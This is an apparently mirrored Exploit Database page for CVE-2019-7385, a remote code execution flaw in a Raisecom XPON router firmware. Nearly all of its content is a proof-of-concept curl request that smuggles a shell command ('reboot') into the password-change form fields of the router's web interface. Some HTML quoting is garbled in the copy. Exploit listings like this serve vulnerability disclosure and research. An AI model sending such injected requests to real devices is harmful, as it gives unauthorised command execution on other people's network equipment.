Raisecom XPON ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 – Remote Code Execution

• Exploit Database
• 110 阅读

• 作者： JameelNabbo
  日期： 2019-03-04
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/46489/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

  # Exploit Title: Remote code execution in Raisecom xpon # Date: 03/03/2019 # Exploit Author: JameelNabbo # Website: Ordina.nl # Vendor Homepage: https://www.raisecom.com # Software Link: https://www.raisecom.com/products/xpon # Version: ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 # Tested on: MacOSX # CVE-2019-7385   POC: curl -i -s -k -X &apos;POST&apos; \ -H &apos;Origin: http://127.0.0.1&apos; -H -H &apos;Content-Type: application/x-www-form-urlencoded&apos; -H &apos;User-Agent: Chrome/7.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36&apos; -H &apos;Referer: http://192.168.1.1/password.asp&apos; \ --data-binary $&apos;userMode=0&oldpass=netstat&newpass=<code>reboot</code>&confpass=<code>reboot</code>&submit-url=%2Fpassword.asp&save=Apply+Changes&csrf_token=current_cCSRF_ToKEN&apos; \ &apos;http://192.168.1.1/boaform/formPasswordSetup&apos;